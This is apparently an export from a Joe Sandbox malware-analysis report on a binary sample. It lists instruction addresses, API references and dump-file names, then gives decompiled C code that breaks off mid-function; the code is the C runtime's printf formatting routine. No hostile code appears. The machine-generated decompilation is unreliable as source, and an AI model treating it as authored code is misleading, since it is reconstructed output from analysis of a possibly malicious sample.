0x0043c451
0x0043c456
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c435
0x0043c43a
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c408
0x0043c40d
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3e0
0x0043c3e5
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ae
0x00000000
0x00000000
0x0043c4b0
0x0043c4b0
0x0043c4b7
0x00000000
0x00000000
0x0043c4b9
0x0043c4b9
0x0043c4c4
0x0043c4d2
0x0043c4d7
0x0043c4dd
0x0043c4eb
0x0043c508
0x0043c50b
0x0043c510
0x0043c515
0x0043c51b
0x0043c529
0x0043c529
0x0043c532
0x0043c532
0x0043c51b
0x0043c538
0x0043c53c
0x0043c54d
0x0043c550
0x0043c557
0x0043c559
0x0043c559
0x0043c53e
0x0043c53e
0x0043c53e
0x0043c566
0x0043c56c
0x0043c56e
0x0043c56e
0x0043c57b
0x0043c57e
0x0043c57e
0x0043c584
0x0043c587
0x0043c58a
0x0043c58c
0x00000000
0x00000000
0x0043c58e
0x0043c594
0x0043c59a
0x0043c617
0x0043c620
0x0043c629
0x0043c62f
0x0043c635
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x0043c66a
0x0043c66d
0x0043c670
0x0043c675
0x0043c67a
0x0043c691
0x0043c694
0x0043c6ab
0x0043c6ae
0x0043c6b5
0x0043c6b9
0x0043c6b9
0x0043c696
0x0043c69b
0x0043c69f
0x0043c69f
0x0043c67c
0x0043c681
0x0043c685
0x0043c685
0x0043c67a
0x0043c6c9
0x0043c6d2
0x0043c6d5
0x0043c6eb
0x0043c6f0
0x0043c6f0
0x0043c706
0x0043c70b
0x0043c711
0x0043c714
0x0043c719
0x0043c71c
0x0043c732
0x0043c737
0x0043c737
0x0043c71c
0x0043c73a
0x0043c73e
0x0043c7f8
0x0043c80b
0x0043c810
0x00000000
0x0043c744
0x0043c744
0x0043c744
0x0043c748
0x00000000
0x00000000
0x0043c74e
0x0043c751
0x0043c75a
0x0043c760
0x0043c760
0x0043c76f
0x0043c775
0x0043c777
0x00000000
0x00000000
0x0043c779
0x0043c77c
0x0043c7a1
0x0043c7a6
0x0043c7a9
0x0043c7af
0x0043c7b6
0x0043c7c4
0x0043c7d7
0x0043c7dc
0x0043c7eb
0x00000000
0x0043c7eb
0x0043c7b8
0x0043c7b8
0x00000000
0x0043c7b8
0x0043c7f6
0x0043c813
0x0043c813
0x0043c81a
0x0043c81f
0x0043c822
0x0043c838
0x0043c83d
0x0043c83d
0x0043c822
0x0043c81a
0x0043c840
0x0043c840
0x0043c844
0x0043c84c
0x0043c851
0x0043c854
0x0043c854
0x0043c85b
0x0043c85b
0x0043b9db
0x0043b9e2
0x0043b9ef
0x0043b9f4
0x00000000
0x0043ba07
0x0043ba11
0x0043ba38
0x0043ba1f
0x0043ba30
0x0043ba30
0x0043ba11
0x0043ba42
0x0043ba48
0x0043ba54
0x0043ba57
0x0043ba65
0x0043ba68
0x0043ba75
0x0043bb1a
0x0043bb20
0x0043bb26
0x0043bb2d
0x00000000
0x00000000
0x0043bb33
0x0043bb39
0x00000000
0x0043bb40
0x0043bb40
0x0043bb5a
0x0043bb5f
0x00000000
0x00000000
0x0043bb67
0x0043bb67
0x0043bb6e
0x0043bb71
0x0043bb74
0x0043bb77
0x0043bb7a
0x0043bb7d
0x0043bb80
0x0043bb87
0x0043bb8e
0x00000000
0x00000000
0x0043bb9a
0x0043bb9a
0x0043bba1
0x0043bbad
0x0043bbb0
0x0043bbb6
0x0043bbbd
0x00000000
0x00000000
0x0043bbbf
0x0043bbc5
0x0043bbc5
0x0043bbcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc10
0x0043bc10
0x0043bc17
0x0043bc1a
0x0043bc44
0x0043bc47
0x0043bc47
0x0043bc51
0x0043bc51
0x0043bc55
0x0043bc1c
0x0043bc1c
0x0043bc28
0x0043bc2b
0x0043bc2f
0x0043bc31
0x0043bc34
0x0043bc34
0x0043bc37
0x0043bc3a
0x0043bc3d
0x0043bc3f
0x0043bc3f
0x0043bc42
0x0043bc58
0x00000000
0x00000000
0x0043bc5d
0x0043bc5d
0x00000000
0x00000000
0x0043bc69
0x0043bc69
0x0043bc70
0x0043bc73
0x0043bc93
0x0043bc96
0x0043bc96
0x0043bca0
0x0043bca0
0x0043bca4
0x0043bc75
0x0043bc75
0x0043bc81
0x0043bc84
0x0043bc88
0x0043bc8a
0x0043bc8a
0x0043bc91
0x00000000
0x00000000
0x0043bcac
0x0043bcac
0x0043bcb3
0x0043bcbf
0x0043bcc2
0x0043bcc8
0x0043bccf
0x0043bde2
0x00000000
0x0043bde2
0x0043bcd5
0x0043bcdb
0x0043bcdb
0x0043bce2
0x00000000
0x0043bd19
0x0043bd19
0x0043bd1c
0x0043bd1f
0x0043bd22
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd4f
0x0043bd52
0x0043bd76
0x0043bd76
0x0043bd79
0x0043bd7c
0x0043bd7f
0x0043bdb8
0x0043bdc9
0x00000000
0x0043bdc9
0x0043bd81
0x0043bd81
0x0043bd84
0x0043bd87
0x0043bd8a
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd8f
0x0043bd92
0x0043bd95
0x00000000
0x00000000
0x0043bd97
0x0043bd97
0x0043bd9a
0x0043bd9d
0x0043bda0
0x00000000
0x00000000
0x0043bda2
0x0043bda2
0x0043bda5
0x0043bda8
0x0043bdab
0x00000000
0x00000000
0x0043bdad
0x0043bdad
0x0043bdb0
0x0043bdb3
0x0043bdb6
0x0043bdba
0x00000000
0x0043bdba
0x00000000
0x0043bdb6
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5b
0x0043bd5e
0x00000000
0x0043bd60
0x0043bd63
0x0043bd66
0x0043bd6c
0x0043bd71
0x00000000
0x0043bd71
0x0043bd5e
0x0043bd24
0x0043bd24
0x0043bd27
0x0043bd2b
0x0043bd2e
0x00000000
0x0043bd30
0x0043bd33
0x0043bd36
0x0043bd3c
0x0043bd41
0x00000000
0x0043bd41
0x00000000
0x0043bdcb
0x0043bdcb
0x0043bdce
0x0043bdd1
0x00000000
0x00000000
0x0043bce9
0x0043bce9
0x0043bcec
0x0043bcef
0x0043bcf2
0x0043bd0b
0x0043bd0e
0x0043bd0e
0x0043bd11
0x0043bcf4
0x0043bcf4
0x0043bcf7
0x0043bcfa
0x0043bd00
0x0043bd06
0x0043bd06
0x00000000
0x00000000
0x0043bdd6
0x0043bdd6
0x0043bdd9
0x0043bdd9
0x0043bddf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bde7
0x0043bde7
0x0043bdee
0x0043bdf4
0x0043bdfa
0x0043bdfd
0x0043be03
0x0043be0a
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c660
0x0043be10
0x0043be16
0x0043be16
0x0043be1d
0x00000000
0x0043c1a1
0x0043c1a1
0x0043c1af
0x0043c1af
0x0043c1b2
0x00000000
0x00000000
0x0043be24
0x0043be27
0x0043be27
0x0043be2d
0x0043be2f
0x0043be32
0x0043be32
0x0043be35
0x0043be35
0x00000000
0x00000000
0x0043bf6a
0x0043bf6d
0x0043bf6d
0x0043bf72
0x0043bf74
0x0043bf77
0x0043bf77
0x0043bf7a
0x0043bf7a
0x00000000
0x00000000
0x0043c36d
0x0043c36d
0x00000000
0x00000000
0x0043bed4
0x0043bed4
0x0043bee0
0x0043bee6
0x0043beed
0x0043befb
0x0043befb
0x0043bf01
0x0043bf04
0x0043bf10
0x0043bf65
0x00000000
0x0043bf65
0x0043beef
0x0043beef
0x0043bef5
0x0043bef9
0x0043bf18
0x0043bf18
0x0043bf1e
0x0043bf46
0x0043bf4d
0x0043bf53
0x0043bf56
0x0043bf59
0x0043bf5f
0x0043bf62
0x0043bf20
0x0043bf20
0x0043bf26
0x0043bf29
0x0043bf2c
0x0043bf32
0x0043bf35
0x0043bf38
0x0043bf3a
0x0043bf3d
0x0043bf3d
0x00000000
0x0043bf1e
0x00000000
0x00000000
0x0043c1b9
0x0043c1bc
0x0043c1bf
0x0043c1c2
0x0043c1c8
0x0043c1cb
0x0043c1d2
0x0043c1d6
0x0043c1e1
0x0043c1e1
0x0043c1e5
0x0043c1fc
0x0043c1fc
0x0043c203
0x0043c205
0x0043c205
0x0043c20c
0x0043c20c
0x0043c213
0x0043c221
0x0043c224
0x0043c233
0x0043c236
0x0043c23a
0x0043c24f
0x0043c23c
0x0043c23c
0x0043c23f
0x0043c245
0x0043c24a
0x0043c24a
0x0043c23a
0x0043c259
0x0043c25c
0x0043c25f
0x0043c262
0x0043c265
0x0043c268
0x0043c26e
0x0043c274
0x0043c27c
0x0043c27d
0x0043c280
0x0043c281
0x0043c284
0x0043c285
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29b
0x0043c29c
0x0043c2ab
0x0043c2ad
0x0043c2b3
0x0043c2b3
0x0043c2b8
0x0043c2ba
0x0043c2be
0x0043c2c0
0x0043c2c8
0x0043c2c9
0x0043c2cc
0x0043c2cd
0x0043c2dc
0x0043c2de
0x0043c2de
0x0043c2be
0x0043c2e1
0x0043c2e8
0x0043c2eb
0x0043c2f0
0x0043c2f0
0x0043c2f6
0x0043c2f8
0x0043c300
0x0043c301
0x0043c304
0x0043c305
0x0043c313
0x0043c315
0x0043c315
0x0043c2f6
0x0043c318
0x0043c31b
0x0043c31e
0x0043c321
0x0043c326
0x0043c32b
0x0043c32e
0x0043c331
0x0043c331
0x0043c334
0x0043c334
0x0043c337
0x0043c343
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x00000000
0x0043c660
0x0043c1e7
0x0043c1e7
0x0043c1ee
0x0043c1f1
0x00000000
0x00000000
0x0043c1f3
0x0043c1f3
0x00000000
0x0043c1f3
0x0043c1d8
0x0043c1d8
0x00000000
0x00000000
0x0043be38
0x0043be38
0x0043be43
0x0043be4b
0x0043be52
0x0043be55
0x0043be55
0x0043be58
0x0043beb8
0x0043be5a
0x0043be61
0x0043be67
0x0043be6d
0x0043be74
0x0043be77
0x0043be7d
0x0043be85
0x0043be87
0x0043be8e
0x0043be95
0x0043be9c
0x0043bea4
0x0043bea6
0x0043bea8
0x0043bea8
0x0043beaf
0x0043bebf
0x0043bec5
0x0043bec8
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x00000000
0x0043c34b
0x0043c34e
0x0043c351
0x0043c354
0x0043c3d2
0x0043c3d5
0x0043c3da
0x0043c3fc
0x0043c3fc
0x0043c402
0x0043c424
0x0043c427
0x0043c46e
0x0043c46e
0x0043c471
0x0043c492
0x0043c497
0x0043c49a
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c477
0x0043c47c
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
0x0043c451
0x0043c456
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c435
0x0043c43a
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c408
0x0043c40d
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3e0
0x0043c3e5
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ae
0x00000000
0x00000000
0x00000000
0x0043c0aa
0x0043c0aa
0x0043c0b6
0x0043c0bc
0x0043c0c1
0x0043c0c3
0x0043c16d
0x0043c16d
0x0043c170
0x0043c170
0x0043c173
0x0043c187
0x0043c18d
0x0043c193
0x0043c175
0x0043c175
0x0043c17b
0x0043c182
0x0043c182
0x0043c195
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c660
0x0043c0c9
0x0043c0c9
0x0043c0c9
0x0043c0cb
0x0043c0d9
0x0043c0cd
0x0043c0cd
0x0043c0cd
0x0043c0e3
0x0043c0e9
0x0043c0ef
0x0043c0f6
0x0043c0f8
0x0043c0fd
0x0043c0ff
0x0043c104
0x0043c109
0x0043c10b
0x0043c110
0x0043c113
0x0043c116
0x0043c118
0x0043c118
0x0043c116
0x0043c119
0x0043c120
0x0043c168
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c122
0x0043c122
0x0043c127
0x0043c143
0x0043c14b
0x0043c155
0x0043c158
0x0043c15d
0x00000000
0x0043c15d
0x00000000
0x00000000
0x00000000
0x0043c366
0x0043c366
0x00000000
0x00000000
0x0043bf7d
0x0043bf7d
0x0043bf81
0x0043bf8f
0x0043bf92
0x0043bf83
0x0043bf83
0x0043bf83
0x0043bf98
0x0043bf9e
0x0043bfa4
0x0043bfb0
0x0043bfb6
0x0043bfb6
0x0043bfb9
0x0043c041
0x0043c041
0x0043c045
0x0043c047
0x0043c04d
0x0043c04d
0x0043c050
0x0043c057
0x0043c05a
0x0043c060
0x0043c060
0x0043c060
0x0043c066
0x0043c06c
0x0043c06f
0x0043c075
0x0043c077
0x00000000
0x00000000
0x0043c079
0x0043c079
0x0043c07f
0x0043c082
0x0043c084
0x00000000
0x00000000
0x0043c086
0x0043c08c
0x0043c08f
0x0043c08f
0x0043c097
0x0043c097
0x0043c09d
0x0043c09d
0x0043c0a2
0x00000000
0x0043bfbf
0x0043bfbf
0x0043bfbf
0x0043bfc3
0x0043bfc5
0x0043bfca
0x0043bfca
0x0043bfcd
0x0043bfd0
0x0043bfd6
0x0043bfe8
0x0043bfe8
0x0043bfe8
0x0043bfeb
0x0043bff1
0x00000000
0x00000000
0x0043bff3
0x0043bff3
0x0043bff9
0x0043bffc
0x0043bffe
0x00000000
0x00000000
0x0043c000
0x0043c000
0x0043c009
0x0043c00f
0x0043c013
0x0043c01b
0x0043c01d
0x0043c01f
0x0043c025
0x0043c025
0x0043c028
0x0043c028
0x0043c034
0x0043c037
0x0043bfdf
0x0043bfe2
0x0043bfe2
0x0043bfe5
0x0043bfe5
0x0043c03f
0x0043c0a5
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x0043c660
0x00000000
0x0043c35d
0x0043c35d
0x0043c3d2
0x0043c3d2
0x0043c3d5
0x0043c3da
0x0043c3fc
0x0043c3fc
0x0043c402
0x0043c424
0x0043c427
0x0043c46e
0x0043c46e
0x0043c471
0x0043c492
0x0043c497
0x0043c49a
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c477
0x0043c47c
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
0x0043c451
0x0043c456
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c435
0x0043c43a
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c408
0x0043c40d
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3e0
0x0043c3e5
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ae
0x00000000
0x00000000
0x00000000
0x0043c4ae
0x00000000
0x0043c379
0x0043c379
0x0043c383
0x0043c383
0x0043c38d
0x0043c38d
0x0043c393
0x0043c395
0x0043c39a
0x0043c3a4
0x0043c3a4
0x0043c3a7
0x0043c3ab
0x0043c3ab
0x0043c3d2
0x0043c3d2
0x0043c3d5
0x0043c3da
0x0043c3fc
0x0043c3fc
0x0043c402
0x0043c424
0x0043c427
0x0043c46e
0x0043c46e
0x0043c471
0x0043c492
0x0043c497
0x0043c49a
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c477
0x0043c47c
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42c
0x0043c42f
0x0043c451
0x0043c456
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c435
0x0043c43a
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c408
0x0043c40d
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3e0
0x0043c3e5
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ab
0x0043c4ae
0x00000000
0x00000000
0x00000000
0x0043c4ae
0x00000000
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x00000000
0x00000000
0x00000000
0x0043c664
0x00000000
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x00000000
0x00000000
0x0043bbf4
0x0043bbf7
0x0043bbfd
0x00000000
0x00000000
0x0043bbde
0x0043bbe1
0x0043bbe4
0x00000000
0x00000000
0x0043bbd3
0x0043bbd6
0x0043bbd9
0x00000000
0x00000000
0x0043bc02
0x0043bc02
0x0043bc05
0x0043bc05
0x0043bc08
0x00000000
0x00000000
0x0043bc0b
0x00000000
0x00000000
0x0043ba7b
0x0043ba7b
0x0043ba7d
0x0043ba8b
0x0043ba7f
0x0043ba7f
0x0043ba7f
0x0043ba9b
0x0043baa8
0x0043baaa
0x0043baaf
0x0043bab1
0x0043bab6
0x0043babb
0x0043babd
0x0043bac2
0x0043bac8
0x0043baca
0x0043baca
0x0043bac8
0x0043bacb
0x0043bad2
0x00000000
0x0043bad4
0x0043bad9
0x0043baf5
0x0043bafd
0x0043bb0a
0x0043bb0f
0x0043c924
0x0043c931
0x0043c931
0x0043bad2
0x0043ba75
0x0043c860
0x0043c860
0x0043c867
0x0043c87e
0x0043c87e
0x0043c888
0x0043c888
0x0043c88e
0x0043c894
0x0043c89b
0x0043c89d
0x0043c8a2
0x0043c8a4
0x0043c8a9
0x0043c8ae
0x0043c8b0
0x0043c8b5
0x0043c8b8
0x0043c8bb
0x0043c8bd
0x0043c8bd
0x0043c8bb
0x0043c8be
0x0043c8c5
0x0043c910
0x0043c919
0x0043c91e
0x0043c8c7
0x0043c8cc
0x0043c8e8
0x0043c8f0
0x0043c8fd
0x0043c902
0x0043c902
0x00000000
0x0043c8c5
0x0043c869
0x0043c869
0x0043c870
0x00000000
0x00000000
0x0043c872
0x0043c872
0x00000000
0x0043c872
0x0043c660
0x0043c637
0x0043c637
0x0043c63b
0x0043c648
0x0043c64e
0x0043c654
0x0043c65a
0x0043c65a
0x0043c65d
0x00000000
0x0043c65d
0x0043c63d
0x0043c643
0x0043c646
0x00000000
0x00000000
0x00000000
0x0043c646
0x0043c59c
0x0043c59f
0x0043c5a9
0x0043c5b8
0x0043c5c1
0x0043c5d7
0x0043c5dd
0x0043c5e3
0x0043c5ea
0x0043c5f2
0x0043c5f2
0x0043c5f8
0x0043c5f8
0x0043c607
0x0043c60f
0x0043c57e
0x0043c584
0x0043c587
0x0043c58a
0x0043c58c
0x00000000
0x00000000
0x00000000
0x0043c58c
0x0043c57e
0x0043c4bb
0x0043c4bb
0x0043c4c2
0x00000000
0x00000000
0x00000000
0x0043c4f0
0x0043c4f6
0x0043c502
0x00000000
0x0043c502
0x0043c3d2

APIs

_get_int64_arg.LIBCMTD ref: 0043C3E0
__aullrem.LIBCMT ref: 0043C5B0
__aulldiv.LIBCMT ref: 0043C5D2

Strings

9, xrefs: 0043C5E3

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction ID: bbe4dcf1486a92e55cd479a1bb052f864b08b5e4dc33dc023e8c748bf4b12be0
Opcode Fuzzy Hash: de0a5f24cca493b2017ce3d500814e98e9cc6ceb68a5fbf6a4b70a94b471b794
Instruction Fuzzy Hash: 004119B1E10129AFDB24CF48C981BAEB7B5FF89314F10559AD148B7241C738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427CDC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00427CDC(signed int __edx) {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t611;
				signed int _t613;
				signed int _t615;
				signed int _t622;
				signed int _t663;
				signed int _t666;
				void* _t668;
				void* _t669;
				signed int _t675;

				L0:
				while(1) {
					L0:
					_t611 = __edx;
					 *(_t666 - 8) = 0xa;
					L144:
					while(1) {
						L144:
						while(1) {
							L144:
							while(1) {
								L144:
								if(( *(_t666 - 0x10) & 0x00008000) == 0) {
									_t613 =  *(_t666 - 0x10) & 0x00001000;
									if(_t613 == 0) {
										if(( *(_t666 - 0x10) & 0x00000020) == 0) {
											_t615 =  *(_t666 - 0x10) & 0x00000040;
											if(_t615 == 0) {
												_t476 = E00428310(_t666 + 0x14);
												_t669 = _t668 + 4;
												 *(_t666 - 0x2b0) = _t476;
												 *(_t666 - 0x2ac) = 0;
											} else {
												_t549 = E00428310(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t549;
												 *(_t666 - 0x2ac) = _t615;
											}
										} else {
											_t663 =  *(_t666 - 0x10) & 0x00000040;
											if(_t663 == 0) {
												_t550 = E00428310(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t550 & 0x0000ffff;
												 *(_t666 - 0x2ac) = _t663;
											} else {
												_t553 = E00428310(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t553;
												 *(_t666 - 0x2ac) = _t663;
											}
										}
									} else {
										_t556 = E00428330(_t666 + 0x14);
										_t669 = _t668 + 4;
										 *(_t666 - 0x2b0) = _t556;
										 *(_t666 - 0x2ac) = _t613;
									}
								} else {
									_t557 = E00428330(_t666 + 0x14);
									_t669 = _t668 + 4;
									 *(_t666 - 0x2b0) = _t557;
									 *(_t666 - 0x2ac) = _t611;
								}
								if(( *(_t666 - 0x10) & 0x00000040) == 0) {
									L161:
									 *(_t666 - 0x2b8) =  *(_t666 - 0x2b0);
									 *(_t666 - 0x2b4) =  *(_t666 - 0x2ac);
									goto L162;
								} else {
									L157:
									_t675 =  *(_t666 - 0x2ac);
									if(_t675 > 0 || _t675 >= 0 &&  *(_t666 - 0x2b0) >= 0) {
										goto L161;
									} else {
										L160:
										asm("adc edx, 0x0");
										 *(_t666 - 0x2b8) =  ~( *(_t666 - 0x2b0));
										 *(_t666 - 0x2b4) =  ~( *(_t666 - 0x2ac));
										 *(_t666 - 0x10) =  *(_t666 - 0x10) | 0x00000100;
										L162:
										if(( *(_t666 - 0x10) & 0x00008000) == 0 && ( *(_t666 - 0x10) & 0x00001000) == 0) {
											 *(_t666 - 0x2b4) =  *(_t666 - 0x2b4) & 0x00000000;
										}
										if( *(_t666 - 0x30) >= 0) {
											 *(_t666 - 0x10) =  *(_t666 - 0x10) & 0xfffffff7;
											if( *(_t666 - 0x30) > 0x200) {
												 *(_t666 - 0x30) = 0x200;
											}
										} else {
											 *(_t666 - 0x30) = 1;
										}
										if(( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
											 *(_t666 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t666 - 4)) = _t666 - 0x49;
										while(1) {
											L172:
											_t621 =  *(_t666 - 0x30) - 1;
											 *(_t666 - 0x30) =  *(_t666 - 0x30) - 1;
											if( *(_t666 - 0x30) <= 0 && ( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
												break;
											}
											L174:
											asm("cdq");
											_t622 =  *(_t666 - 0x2b8);
											 *((intOrPtr*)(_t666 - 0x2a4)) = E00430740(_t622,  *(_t666 - 0x2b4),  *(_t666 - 8), _t621) + 0x30;
											asm("cdq");
											 *(_t666 - 0x2b8) = E004307C0( *(_t666 - 0x2b8),  *(_t666 - 0x2b4),  *(_t666 - 8), _t622);
											 *(_t666 - 0x2b4) = _t622;
											if( *((intOrPtr*)(_t666 - 0x2a4)) > 0x39) {
												 *((intOrPtr*)(_t666 - 0x2a4)) =  *((intOrPtr*)(_t666 - 0x2a4)) +  *((intOrPtr*)(_t666 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) =  *((intOrPtr*)(_t666 - 0x2a4));
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
										}
										L177:
										 *((intOrPtr*)(_t666 - 0x24)) = _t666 - 0x49 -  *((intOrPtr*)(_t666 - 4));
										 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) + 1;
										if(( *(_t666 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t666 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t666 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) = 0x30;
											 *((intOrPtr*)(_t666 - 0x24)) =  *((intOrPtr*)(_t666 - 0x24)) + 1;
										}
										L181:
										while(1) {
											L181:
											while(1) {
												L181:
												while(1) {
													L181:
													while(1) {
														L181:
														while(1) {
															L181:
															while(1) {
																L181:
																while(1) {
																	do {
																		L181:
																		if( *((intOrPtr*)(_t666 - 0x28)) != 0) {
																			L207:
																			if( *(_t666 - 0x20) != 0) {
																				L0041C4F0( *(_t666 - 0x20), 2);
																				_t669 = _t669 + 8;
																				 *(_t666 - 0x20) = 0;
																			}
																			while(1) {
																				L209:
																				 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																				 *((intOrPtr*)(_t666 + 0xc)) =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																				if( *(_t666 - 0x251) == 0 ||  *(_t666 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t666 - 0x251) < 0x20 ||  *(_t666 - 0x251) > 0x78) {
																						 *(_t666 - 0x2fc) = 0;
																					} else {
																						 *(_t666 - 0x2fc) =  *( *(_t666 - 0x251) + 0x404460) & 0x0000000f;
																					}
																				}
																				L7:
																				 *(_t666 - 0x250) =  *(_t666 - 0x2fc);
																				_t19 =  *(_t666 - 0x250) * 8; // 0x6000006
																				 *(_t666 - 0x25c) =  *( *(_t666 - 0x25c) + _t19 + 0x404480) >> 4;
																				 *(_t666 - 0x300) =  *(_t666 - 0x25c);
																				if( *(_t666 - 0x300) > 7) {
																					continue;
																				}
																				L8:
																				switch( *((intOrPtr*)( *(_t666 - 0x300) * 4 +  &M00428208))) {
																					case 0:
																						L9:
																						 *(_t666 - 0xc) = 0;
																						_t502 = E004311D0( *(_t666 - 0x251) & 0x000000ff, E0041AE00(_t666 - 0x40));
																						_t671 = _t669 + 8;
																						if(_t502 == 0) {
																							L15:
																							E00435630( *(_t666 - 0x251) & 0x000000ff,  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t669 = _t671 + 0xc;
																							goto L209;
																						} else {
																							E00435630( *((intOrPtr*)(_t666 + 8)),  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t671 = _t671 + 0xc;
																							_t582 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							_t629 =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																							 *((intOrPtr*)(_t666 + 0xc)) = _t629;
																							asm("sbb eax, eax");
																							 *(_t666 - 0x278) =  ~( ~( *(_t666 - 0x251)));
																							if(_t629 == 0) {
																								_push(L"(ch != _T(\'\\0\'))");
																								_push(0);
																								_push(0x486);
																								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																								_push(2);
																								_t514 = L0041E330();
																								_t671 = _t671 + 0x14;
																								if(_t514 == 1) {
																									asm("int3");
																								}
																							}
																							L13:
																							if( *(_t666 - 0x278) != 0) {
																								goto L15;
																							} else {
																								 *((intOrPtr*)(L00422E20(_t582))) = 0x16;
																								E00422BB0(_t558, _t582, _t664, _t665, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																								 *(_t666 - 0x2e4) = 0xffffffff;
																								E0041ADD0(_t666 - 0x40);
																								_t497 =  *(_t666 - 0x2e4);
																								L211:
																								return E0042BC70(_t497, _t558,  *(_t666 - 0x48) ^ _t666, _t629, _t664, _t665);
																							}
																						}
																					case 1:
																						L16:
																						 *(__ebp - 0x2c) = 0;
																						__edx =  *(__ebp - 0x2c);
																						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																						__eax =  *(__ebp - 0x28);
																						 *(__ebp - 0x18) =  *(__ebp - 0x28);
																						__ecx =  *(__ebp - 0x18);
